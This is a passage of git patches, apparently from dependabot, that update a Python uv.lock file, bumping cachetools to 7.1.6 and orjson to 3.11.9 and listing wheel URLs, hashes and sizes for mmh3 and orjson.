"https://files.pythonhosted.org/packages/d6/5c/ce29ae3dfc4feec4007a437a1b7435fb9507532a25147602cd5b52be86db/mmh3-5.2.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:c88653877aeb514c089d1b3d473451677b8b9a6d1497dbddf1ae7934518b06d2", size = 110030, upload-time = "2026-03-05T15:55:02.934Z" }, + { url = "https://files.pythonhosted.org/packages/13/30/ae444ef2ff87c805d525da4fa63d27cda4fe8a48e77003a036b8461cfd5c/mmh3-5.2.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fceef7fe67c81e1585198215e42ad3fdba3a25644beda8fbdaf85f4d7b93175a", size = 97536, upload-time = "2026-03-05T15:55:04.135Z" }, + { url = "https://files.pythonhosted.org/packages/4b/f9/dc3787ee5c813cc27fe79f45ad4500d9b5437f23a7402435cc34e07c7718/mmh3-5.2.1-cp313-cp313-win32.whl", hash = "sha256:54b64fb2433bc71488e7a449603bf8bd31fbcf9cb56fbe1eb6d459e90b86c37b", size = 40769, upload-time = "2026-03-05T15:55:05.277Z" }, + { url = "https://files.pythonhosted.org/packages/43/67/850e0b5a1e97799822ebfc4ca0e8c6ece3ed8baf7dcdf64de817dfdda2ca/mmh3-5.2.1-cp313-cp313-win_amd64.whl", hash = "sha256:cae6383181f1e345317742d2ddd88f9e7d2682fa4c9432e3a74e47d92dce0229", size = 41563, upload-time = "2026-03-05T15:55:06.283Z" }, + { url = "https://files.pythonhosted.org/packages/c0/cc/98c90b28e1da5458e19fbfaf4adb5289208d3bfccd45dd14eab216a2f0bb/mmh3-5.2.1-cp313-cp313-win_arm64.whl", hash = "sha256:022aa1a528604e6c83d0a7705fdef0b5355d897a9e0fa3a8d26709ceaa06965d", size = 39310, upload-time = "2026-03-05T15:55:07.323Z" }, + { url = "https://files.pythonhosted.org/packages/63/b4/65bc1fb2bb7f83e91c30865023b1847cf89a5f237165575e8c83aa536584/mmh3-5.2.1-cp314-cp314-android_24_arm64_v8a.whl", hash = "sha256:d771f085fcdf4035786adfb1d8db026df1eb4b41dac1c3d070d1e49512843227", size = 40794, upload-time = "2026-03-05T15:55:09.773Z" }, + { url = "https://files.pythonhosted.org/packages/c4/86/7168b3d83be8eb553897b1fac9da8bbb06568e5cfe555ffc329ebb46f59d/mmh3-5.2.1-cp314-cp314-android_24_x86_64.whl", hash = "sha256:7f196cd7910d71e9d9860da0ff7a77f64d22c1ad931f1dd18559a06e03109fc0", size = 41923, upload-time = "2026-03-05T15:55:10.924Z" }, + { url = "https://files.pythonhosted.org/packages/bf/9b/b653ab611c9060ce8ff0ba25c0226757755725e789292f3ca138a58082cd/mmh3-5.2.1-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:b1f12bd684887a0a5d55e6363ca87056f361e45451105012d329b86ec19dbe0b", size = 39131, upload-time = "2026-03-05T15:55:11.961Z" }, + { url = "https://files.pythonhosted.org/packages/9b/b4/5a2e0d34ab4d33543f01121e832395ea510132ea8e52cdf63926d9d81754/mmh3-5.2.1-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:d106493a60dcb4aef35a0fac85105e150a11cf8bc2b0d388f5a33272d756c966", size = 39825, upload-time = "2026-03-05T15:55:13.013Z" }, + { url = "https://files.pythonhosted.org/packages/bd/69/81699a8f39a3f8d368bec6443435c0c392df0d200ad915bf0d222b588e03/mmh3-5.2.1-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:44983e45310ee5b9f73397350251cdf6e63a466406a105f1d16cb5baa659270b", size = 40344, upload-time = "2026-03-05T15:55:14.026Z" }, + { url = "https://files.pythonhosted.org/packages/0c/b3/71c8c775807606e8fd8acc5c69016e1caf3200d50b50b6dd4b40ce10b76c/mmh3-5.2.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:368625fb01666655985391dbad3860dc0ba7c0d6b9125819f3121ee7292b4ac8", size = 56291, upload-time = "2026-03-05T15:55:15.137Z" }, + { url = "https://files.pythonhosted.org/packages/6f/75/2c24517d4b2ce9e4917362d24f274d3d541346af764430249ddcc4cb3a08/mmh3-5.2.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:72d1cc63bcc91e14933f77d51b3df899d6a07d184ec515ea7f56bff659e124d7", size = 40575, upload-time = "2026-03-05T15:55:16.518Z" }, + { url = "https://files.pythonhosted.org/packages/bf/b9/e4a360164365ac9f07a25f0f7928e3a66eb9ecc989384060747aa170e6aa/mmh3-5.2.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:e8b4b5580280b9265af3e0409974fb79c64cf7523632d03fbf11df18f8b0181e", size = 40052, upload-time = "2026-03-05T15:55:17.735Z" }, + { url = "https://files.pythonhosted.org/packages/97/ca/120d92223a7546131bbbc31c9174168ee7a73b1366f5463ffe69d9e691fe/mmh3-5.2.1-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:4cbbde66f1183db040daede83dd86c06d663c5bb2af6de1142b7c8c37923dd74", size = 97311, upload-time = "2026-03-05T15:55:18.959Z" }, + { url = "https://files.pythonhosted.org/packages/b6/71/c1a60c1652b8813ef9de6d289784847355417ee0f2980bca002fe87f4ae5/mmh3-5.2.1-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8ff038d52ef6aa0f309feeba00c5095c9118d0abf787e8e8454d6048db2037fc", size = 103279, upload-time = "2026-03-05T15:55:20.448Z" }, + { url = "https://files.pythonhosted.org/packages/48/29/ad97f4be1509cdcb28ae32c15593ce7c415db47ace37f8fad35b493faa9a/mmh3-5.2.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a4130d0b9ce5fad6af07421b1aecc7e079519f70d6c05729ab871794eded8617", size = 106290, upload-time = "2026-03-05T15:55:21.6Z" }, + { url = "https://files.pythonhosted.org/packages/77/29/1f86d22e281bd8827ba373600a4a8b0c0eae5ca6aa55b9a8c26d2a34decc/mmh3-5.2.1-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f6e0bfe77d238308839699944164b96a2eeccaf55f2af400f54dc20669d8d5f2", size = 113116, upload-time = "2026-03-05T15:55:22.826Z" }, + { url = "https://files.pythonhosted.org/packages/a7/7c/339971ea7ed4c12d98f421f13db3ea576a9114082ccb59d2d1a0f00ccac1/mmh3-5.2.1-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f963eafc0a77a6c0562397da004f5876a9bcf7265a7bcc3205e29636bc4a1312", size = 120740, upload-time = "2026-03-05T15:55:24.3Z" }, + { url = "https://files.pythonhosted.org/packages/e4/92/3c7c4bdb8e926bb3c972d1e2907d77960c1c4b250b41e8366cf20c6e4373/mmh3-5.2.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:92883836caf50d5255be03d988d75bc93e3f86ba247b7ca137347c323f731deb", size = 99143, upload-time = "2026-03-05T15:55:25.456Z" }, + { url = "https://files.pythonhosted.org/packages/df/0a/33dd8706e732458c8375eae63c981292de07a406bad4ec03e5269654aa2c/mmh3-5.2.1-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:57b52603e89355ff318025dd55158f6e71396c0f1f609d548e9ea9c94cc6ce0a", size = 98703, upload-time = "2026-03-05T15:55:26.723Z" }, + { url = "https://files.pythonhosted.org/packages/51/04/76bbce05df76cbc3d396f13b2ea5b1578ef02b6a5187e132c6c33f99d596/mmh3-5.2.1-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f40a95186a72fa0b67d15fef0f157bfcda00b4f59c8a07cbe5530d41ac35d105", size = 106484, upload-time = "2026-03-05T15:55:28.214Z" }, + { url = "https://files.pythonhosted.org/packages/d3/8f/c6e204a2c70b719c1f62ffd9da27aef2dddcba875ea9c31ca0e87b975a46/mmh3-5.2.1-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:58370d05d033ee97224c81263af123dea3d931025030fd34b61227a768a8858a", size = 110012, upload-time = "2026-03-05T15:55:29.532Z" }, + { url = "https://files.pythonhosted.org/packages/e3/37/7181efd8e39db386c1ebc3e6b7d1f702a09d7c1197a6f2742ed6b5c16597/mmh3-5.2.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7be6dfb49e48fd0a7d91ff758a2b51336f1cd21f9d44b20f6801f072bd080cdd", size = 97508, upload-time = "2026-03-05T15:55:31.01Z" }, + { url = "https://files.pythonhosted.org/packages/42/0f/afa7ca2615fd85e1469474bb860e381443d0b868c083b62b41cb1d7ca32f/mmh3-5.2.1-cp314-cp314-win32.whl", hash = "sha256:54fe8518abe06a4c3852754bfd498b30cc58e667f376c513eac89a244ce781a4", size = 41387, upload-time = "2026-03-05T15:55:32.403Z" }, + { url = "https://files.pythonhosted.org/packages/71/0d/46d42a260ee1357db3d486e6c7a692e303c017968e14865e00efa10d09fc/mmh3-5.2.1-cp314-cp314-win_amd64.whl", hash = "sha256:3f796b535008708846044c43302719c6956f39ca2d93f2edda5319e79a29efbb", size = 42101, upload-time = "2026-03-05T15:55:33.646Z" }, + { url = "https://files.pythonhosted.org/packages/a4/7b/848a8378059d96501a41159fca90d6a99e89736b0afbe8e8edffeac8c74b/mmh3-5.2.1-cp314-cp314-win_arm64.whl", hash = "sha256:cd471ede0d802dd936b6fab28188302b2d497f68436025857ca72cd3810423fe", size = 39836, upload-time = "2026-03-05T15:55:35.026Z" }, + { url = "https://files.pythonhosted.org/packages/27/61/1dabea76c011ba8547c25d30c91c0ec22544487a8750997a27a0c9e1180b/mmh3-5.2.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:5174a697ce042fa77c407e05efe41e03aa56dae9ec67388055820fb48cf4c3ba", size = 57727, upload-time = "2026-03-05T15:55:36.162Z" }, + { url = "https://files.pythonhosted.org/packages/b7/32/731185950d1cf2d5e28979cc8593016ba1619a295faba10dda664a4931b5/mmh3-5.2.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:0a3984146e414684a6be2862d84fcb1035f4984851cb81b26d933bab6119bf00", size = 41308, upload-time = "2026-03-05T15:55:37.254Z" }, + { url = "https://files.pythonhosted.org/packages/76/aa/66c76801c24b8c9418b4edde9b5e57c75e72c94e29c48f707e3962534f18/mmh3-5.2.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:bd6e7d363aa93bd3421b30b6af97064daf47bc96005bddba67c5ffbc6df426b8", size = 40758, upload-time = "2026-03-05T15:55:38.61Z" }, + { url = "https://files.pythonhosted.org/packages/9e/bb/79a1f638a02f0ae389f706d13891e2fbf7d8c0a22ecde67ba828951bb60a/mmh3-5.2.1-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:113f78e7463a36dbbcea05bfe688efd7fa759d0f0c56e73c974d60dcfec3dfcc", size = 109670, upload-time = "2026-03-05T15:55:40.13Z" }, + { url = "https://files.pythonhosted.org/packages/26/94/8cd0e187a288985bcfc79bf5144d1d712df9dee74365f59d26e3a1865be6/mmh3-5.2.1-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:7e8ec5f606e0809426d2440e0683509fb605a8820a21ebd120dcdba61b74ef7f", size = 117399, upload-time = "2026-03-05T15:55:42.076Z" }, + { url = "https://files.pythonhosted.org/packages/42/94/dfea6059bd5c5beda565f58a4096e43f4858fb6d2862806b8bbd12cbb284/mmh3-5.2.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:22b0f9971ec4e07e8223f2beebe96a6cfc779d940b6f27d26604040dd74d3a44", size = 120386, upload-time = "2026-03-05T15:55:43.481Z" }, + { url = "https://files.pythonhosted.org/packages/47/cb/f9c45e62aaa67220179f487772461d891bb582bb2f9783c944832c60efd9/mmh3-5.2.1-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:85ffc9920ffc39c5eee1e3ac9100c913a0973996fbad5111f939bbda49204bb7", size = 125924, upload-time = "2026-03-05T15:55:44.638Z" }, + { url = "https://files.pythonhosted.org/packages/a5/83/fe54a4a7c11bc9f623dfc1707decd034245602b076dfc1dcc771a4163170/mmh3-5.2.1-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:7aec798c2b01aaa65a55f1124f3405804184373abb318a3091325aece235f67c", size = 135280, upload-time = "2026-03-05T15:55:45.866Z" }, + { url = "https://files.pythonhosted.org/packages/97/67/fe7e9e9c143daddd210cd22aef89cbc425d58ecf238d2b7d9eb0da974105/mmh3-5.2.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:55dbbd8ffbc40d1697d5e2d0375b08599dae8746b0b08dea05eee4ce81648fac", size = 110050, upload-time = "2026-03-05T15:55:47.074Z" }, + { url = "https://files.pythonhosted.org/packages/43/c4/6d4b09fcbef80794de447c9378e39eefc047156b290fa3dd2d5257ca8227/mmh3-5.2.1-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:6c85c38a279ca9295a69b9b088a2e48aa49737bb1b34e6a9dc6297c110e8d912", size = 111158, upload-time = "2026-03-05T15:55:48.239Z" }, + { url = "https://files.pythonhosted.org/packages/81/a6/ca51c864bdb30524beb055a6d8826db3906af0834ec8c41d097a6e8573d5/mmh3-5.2.1-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:6290289fa5fb4c70fd7f72016e03633d60388185483ff3b162912c81205ae2cf", size = 116890, upload-time = "2026-03-05T15:55:49.405Z" }, + { url = "https://files.pythonhosted.org/packages/cc/04/5a1fe2e2ad843d03e89af25238cbc4f6840a8bb6c4329a98ab694c71deda/mmh3-5.2.1-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:4fc6cd65dc4d2fdb2625e288939a3566e36127a84811a4913f02f3d5931da52d", size = 123121, upload-time = "2026-03-05T15:55:50.61Z" }, + { url = "https://files.pythonhosted.org/packages/af/4d/3c820c6f4897afd25905270a9f2330a23f77a207ea7356f7aadace7273c0/mmh3-5.2.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:623f938f6a039536cc02b7582a07a080f13fdfd48f87e63201d92d7e34d09a18", size = 110187, upload-time = "2026-03-05T15:55:52.143Z" }, + { url = "https://files.pythonhosted.org/packages/21/54/1d71cd143752361c0aebef16ad3f55926a6faf7b112d355745c1f8a25f7f/mmh3-5.2.1-cp314-cp314t-win32.whl", hash = "sha256:29bc3973676ae334412efdd367fcd11d036b7be3efc1ce2407ef8676dabfeb82", size = 41934, upload-time = "2026-03-05T15:55:53.564Z" }, + { url = "https://files.pythonhosted.org/packages/9d/e4/63a2a88f31d93dea03947cccc2a076946857e799ea4f7acdecbf43b324aa/mmh3-5.2.1-cp314-cp314t-win_amd64.whl", hash = "sha256:28cfab66577000b9505a0d068c731aee7ca85cd26d4d63881fab17857e0fe1fb", size = 43036, upload-time = "2026-03-05T15:55:55.252Z" }, + { url = "https://files.pythonhosted.org/packages/a0/0f/59204bf136d1201f8d7884cfbaf7498c5b4674e87a4c693f9bde63741ce1/mmh3-5.2.1-cp314-cp314t-win_arm64.whl", hash = "sha256:dfd51b4c56b673dfbc43d7d27ef857dd91124801e2806c69bb45585ce0fa019b", size = 40391, upload-time = "2026-03-05T15:55:56.697Z" }, ] [[package]] From 25d1d9d9f710a7eca2b013135a7b3f8f695b1d7a Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 26 Jul 2026 04:43:42 +0000 Subject: [PATCH 011/256] Bump cachetools from 7.1.4 to 7.1.6 Bumps [cachetools](https://github.com/tkem/cachetools) from 7.1.4 to 7.1.6. - [Changelog](https://github.com/tkem/cachetools/blob/master/CHANGELOG.rst) - [Commits](https://github.com/tkem/cachetools/compare/v7.1.4...v7.1.6) --- updated-dependencies: - dependency-name: cachetools dependency-version: 7.1.6 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] --- uv.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/uv.lock b/uv.lock index 28432bc670..6ec07eb2d3 100644 --- a/uv.lock +++ b/uv.lock @@ -623,11 +623,11 @@ wheels = [ [[package]] name = "cachetools" -version = "7.1.4" +version = "7.1.6" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/f4/8b/0d3945a13955303b81272f759a0331e54c5c793da455e6f5706b89d2639c/cachetools-7.1.4.tar.gz", hash = "sha256:437f55a4e0c1b01a4f3077cc470e6991d47430970e36fbcb77e2be0df4fc1cd6", size = 40085, upload-time = "2026-05-21T22:40:43.376Z" } +sdist = { url = "https://files.pythonhosted.org/packages/55/af/861ebc2e318a5c3300e3eb63bc4d30f3d70a46d13b360093728ac0705eed/cachetools-7.1.6.tar.gz", hash = "sha256:c7a79e7f30ba9943c1cefd08cc36f006aaae086e017af9166f1d59d6170c47e1", size = 40572, upload-time = "2026-07-23T22:47:53.737Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/8c/7b/1fc1c09cc0756cf25861a3be10565915953876da48bb228fb9a672b20a42/cachetools-7.1.4-py3-none-any.whl", hash = "sha256:323dc4127934744db5b54eb4924482d7edafbf9554e820d1531c2e08c0e4ef54", size = 16761, upload-time = "2026-05-21T22:40:41.845Z" }, + { url = "https://files.pythonhosted.org/packages/9f/f2/2086ba18a925a73586c4d4e61d25f4a6058e56fd00d77ce8f1d361ab4c9b/cachetools-7.1.6-py3-none-any.whl", hash = "sha256:2c12e255780330af28b91bb7fb96cce4c766f04e38396b9a24510190a5827096", size = 16954, upload-time = "2026-07-23T22:47:52.397Z" }, ] [[package]] From e7207f6c08b53efa880deadc87d9baa716725fcc Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 26 Jul 2026 04:43:55 +0000 Subject: [PATCH 012/256] Bump orjson from 3.11.7 to 3.11.9 Bumps [orjson](https://github.com/ijl/orjson) from 3.11.7 to 3.11.9. - [Release notes](https://github.com/ijl/orjson/releases) - [Changelog](https://github.com/ijl/orjson/blob/master/CHANGELOG.md) - [Commits](https://github.com/ijl/orjson/compare/3.11.7...3.11.9) --- updated-dependencies: - dependency-name: orjson dependency-version: 3.11.9 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] --- uv.lock | 154 ++++++++++++++++++++++++++++---------------------------- 1 file changed, 77 insertions(+), 77 deletions(-) diff --git a/uv.lock b/uv.lock index 28432bc670..81ca5659f3 100644 --- a/uv.lock +++ b/uv.lock @@ -1873,83 +1873,83 @@ wheels = [ [[package]] name = "orjson" -version = "3.11.7" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/53/45/b268004f745ede84e5798b48ee12b05129d19235d0e15267aa57dcdb400b/orjson-3.11.7.tar.gz", hash = "sha256:9b1a67243945819ce55d24a30b59d6a168e86220452d2c96f4d1f093e71c0c49", size = 6144992, upload-time = "2026-02-02T15:38:49.29Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/de/1a/a373746fa6d0e116dd9e54371a7b54622c44d12296d5d0f3ad5e3ff33490/orjson-3.11.7-cp310-cp310-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:a02c833f38f36546ba65a452127633afce4cf0dd7296b753d3bb54e55e5c0174", size = 229140, upload-time = "2026-02-02T15:37:06.082Z" }, - { url = "https://files.pythonhosted.org/packages/52/a2/fa129e749d500f9b183e8a3446a193818a25f60261e9ce143ad61e975208/orjson-3.11.7-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b63c6e6738d7c3470ad01601e23376aa511e50e1f3931395b9f9c722406d1a67", size = 128670, upload-time = "2026-02-02T15:37:08.002Z" }, - { url = "https://files.pythonhosted.org/packages/08/93/1e82011cd1e0bd051ef9d35bed1aa7fb4ea1f0a055dc2c841b46b43a9ebd/orjson-3.11.7-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:043d3006b7d32c7e233b8cfb1f01c651013ea079e08dcef7189a29abd8befe11", size = 123832, upload-time = "2026-02-02T15:37:09.191Z" }, - { url = "https://files.pythonhosted.org/packages/fe/d8/a26b431ef962c7d55736674dddade876822f3e33223c1f47a36879350d04/orjson-3.11.7-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:57036b27ac8a25d81112eb0cc9835cd4833c5b16e1467816adc0015f59e870dc", size = 129171, upload-time = "2026-02-02T15:37:11.112Z" }, - { url = "https://files.pythonhosted.org/packages/a7/19/f47819b84a580f490da260c3ee9ade214cf4cf78ac9ce8c1c758f80fdfc9/orjson-3.11.7-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:733ae23ada68b804b222c44affed76b39e30806d38660bf1eb200520d259cc16", size = 141967, upload-time = "2026-02-02T15:37:12.282Z" }, - { url = "https://files.pythonhosted.org/packages/5b/cd/37ece39a0777ba077fdcdbe4cccae3be8ed00290c14bf8afdc548befc260/orjson-3.11.7-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5fdfad2093bdd08245f2e204d977facd5f871c88c4a71230d5bcbd0e43bf6222", size = 130991, upload-time = "2026-02-02T15:37:13.465Z" }, - { url = "https://files.pythonhosted.org/packages/8f/ed/f2b5d66aa9b6b5c02ff5f120efc7b38c7c4962b21e6be0f00fd99a5c348e/orjson-3.11.7-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cededd6738e1c153530793998e31c05086582b08315db48ab66649768f326baa", size = 133674, upload-time = "2026-02-02T15:37:14.694Z" }, - { url = "https://files.pythonhosted.org/packages/c4/6e/baa83e68d1aa09fa8c3e5b2c087d01d0a0bd45256de719ed7bc22c07052d/orjson-3.11.7-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:14f440c7268c8f8633d1b3d443a434bd70cb15686117ea6beff8fdc8f5917a1e", size = 138722, upload-time = "2026-02-02T15:37:16.501Z" }, - { url = "https://files.pythonhosted.org/packages/0c/47/7f8ef4963b772cd56999b535e553f7eb5cd27e9dd6c049baee6f18bfa05d/orjson-3.11.7-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:3a2479753bbb95b0ebcf7969f562cdb9668e6d12416a35b0dda79febf89cdea2", size = 409056, upload-time = "2026-02-02T15:37:17.895Z" }, - { url = "https://files.pythonhosted.org/packages/38/eb/2df104dd2244b3618f25325a656f85cc3277f74bbd91224752410a78f3c7/orjson-3.11.7-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:71924496986275a737f38e3f22b4e0878882b3f7a310d2ff4dc96e812789120c", size = 144196, upload-time = "2026-02-02T15:37:19.349Z" }, - { url = "https://files.pythonhosted.org/packages/b6/2a/ee41de0aa3a6686598661eae2b4ebdff1340c65bfb17fcff8b87138aab21/orjson-3.11.7-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:b4a9eefdc70bf8bf9857f0290f973dec534ac84c35cd6a7f4083be43e7170a8f", size = 134979, upload-time = "2026-02-02T15:37:20.906Z" }, - { url = "https://files.pythonhosted.org/packages/4c/fa/92fc5d3d402b87a8b28277a9ed35386218a6a5287c7fe5ee9b9f02c53fb2/orjson-3.11.7-cp310-cp310-win32.whl", hash = "sha256:ae9e0b37a834cef7ce8f99de6498f8fad4a2c0bf6bfc3d02abd8ed56aa15b2de", size = 127968, upload-time = "2026-02-02T15:37:23.178Z" }, - { url = "https://files.pythonhosted.org/packages/07/29/a576bf36d73d60df06904d3844a9df08e25d59eba64363aaf8ec2f9bff41/orjson-3.11.7-cp310-cp310-win_amd64.whl", hash = "sha256:d772afdb22555f0c58cfc741bdae44180122b3616faa1ecadb595cd526e4c993", size = 125128, upload-time = "2026-02-02T15:37:24.329Z" }, - { url = "https://files.pythonhosted.org/packages/37/02/da6cb01fc6087048d7f61522c327edf4250f1683a58a839fdcc435746dd5/orjson-3.11.7-cp311-cp311-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:9487abc2c2086e7c8eb9a211d2ce8855bae0e92586279d0d27b341d5ad76c85c", size = 228664, upload-time = "2026-02-02T15:37:25.542Z" }, - { url = "https://files.pythonhosted.org/packages/c1/c2/5885e7a5881dba9a9af51bc564e8967225a642b3e03d089289a35054e749/orjson-3.11.7-cp311-cp311-macosx_15_0_arm64.whl", hash = "sha256:79cacb0b52f6004caf92405a7e1f11e6e2de8bdf9019e4f76b44ba045125cd6b", size = 125344, upload-time = "2026-02-02T15:37:26.92Z" }, - { url = "https://files.pythonhosted.org/packages/a4/1d/4e7688de0a92d1caf600dfd5fb70b4c5bfff51dfa61ac555072ef2d0d32a/orjson-3.11.7-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c2e85fe4698b6a56d5e2ebf7ae87544d668eb6bde1ad1226c13f44663f20ec9e", size = 128404, upload-time = "2026-02-02T15:37:28.108Z" }, - { url = "https://files.pythonhosted.org/packages/2f/b2/ec04b74ae03a125db7bd69cffd014b227b7f341e3261bf75b5eb88a1aa92/orjson-3.11.7-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b8d14b71c0b12963fe8a62aac87119f1afdf4cb88a400f61ca5ae581449efcb5", size = 123677, upload-time = "2026-02-02T15:37:30.287Z" }, - { url = "https://files.pythonhosted.org/packages/4c/69/f95bdf960605f08f827f6e3291fe243d8aa9c5c9ff017a8d7232209184c3/orjson-3.11.7-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:91c81ef070c8f3220054115e1ef468b1c9ce8497b4e526cb9f68ab4dc0a7ac62", size = 128950, upload-time = "2026-02-02T15:37:31.595Z" }, - { url = "https://files.pythonhosted.org/packages/a4/1b/de59c57bae1d148ef298852abd31909ac3089cff370dfd4cd84cc99cbc42/orjson-3.11.7-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:411ebaf34d735e25e358a6d9e7978954a9c9d58cfb47bc6683cdc3964cd2f910", size = 141756, upload-time = "2026-02-02T15:37:32.985Z" }, - { url = "https://files.pythonhosted.org/packages/ee/9e/9decc59f4499f695f65c650f6cfa6cd4c37a3fbe8fa235a0a3614cb54386/orjson-3.11.7-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a16bcd08ab0bcdfc7e8801d9c4a9cc17e58418e4d48ddc6ded4e9e4b1a94062b", size = 130812, upload-time = "2026-02-02T15:37:34.204Z" }, - { url = "https://files.pythonhosted.org/packages/28/e6/59f932bcabd1eac44e334fe8e3281a92eacfcb450586e1f4bde0423728d8/orjson-3.11.7-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9c0b51672e466fd7e56230ffbae7f1639e18d0ce023351fb75da21b71bc2c960", size = 133444, upload-time = "2026-02-02T15:37:35.446Z" }, - { url = "https://files.pythonhosted.org/packages/f1/36/b0f05c0eaa7ca30bc965e37e6a2956b0d67adb87a9872942d3568da846ae/orjson-3.11.7-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:136dcd6a2e796dfd9ffca9fc027d778567b0b7c9968d092842d3c323cef88aa8", size = 138609, upload-time = "2026-02-02T15:37:36.657Z" }, - { url = "https://files.pythonhosted.org/packages/b8/03/58ec7d302b8d86944c60c7b4b82975d5161fcce4c9bc8c6cb1d6741b6115/orjson-3.11.7-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:7ba61079379b0ae29e117db13bda5f28d939766e410d321ec1624afc6a0b0504", size = 408918, upload-time = "2026-02-02T15:37:38.076Z" }, - { url = "https://files.pythonhosted.org/packages/06/3a/868d65ef9a8b99be723bd510de491349618abd9f62c826cf206d962db295/orjson-3.11.7-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:0527a4510c300e3b406591b0ba69b5dc50031895b0a93743526a3fc45f59d26e", size = 143998, upload-time = "2026-02-02T15:37:39.706Z" }, - { url = "https://files.pythonhosted.org/packages/5b/c7/1e18e1c83afe3349f4f6dc9e14910f0ae5f82eac756d1412ea4018938535/orjson-3.11.7-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a709e881723c9b18acddcfb8ba357322491ad553e277cf467e1e7e20e2d90561", size = 134802, upload-time = "2026-02-02T15:37:41.002Z" }, - { url = "https://files.pythonhosted.org/packages/d4/0b/ccb7ee1a65b37e8eeb8b267dc953561d72370e85185e459616d4345bab34/orjson-3.11.7-cp311-cp311-win32.whl", hash = "sha256:c43b8b5bab288b6b90dac410cca7e986a4fa747a2e8f94615aea407da706980d", size = 127828, upload-time = "2026-02-02T15:37:42.241Z" }, - { url = "https://files.pythonhosted.org/packages/af/9e/55c776dffda3f381e0f07d010a4f5f3902bf48eaba1bb7684d301acd4924/orjson-3.11.7-cp311-cp311-win_amd64.whl", hash = "sha256:6543001328aa857187f905308a028935864aefe9968af3848401b6fe80dbb471", size = 124941, upload-time = "2026-02-02T15:37:43.444Z" }, - { url = "https://files.pythonhosted.org/packages/aa/8e/424a620fa7d263b880162505fb107ef5e0afaa765b5b06a88312ac291560/orjson-3.11.7-cp311-cp311-win_arm64.whl", hash = 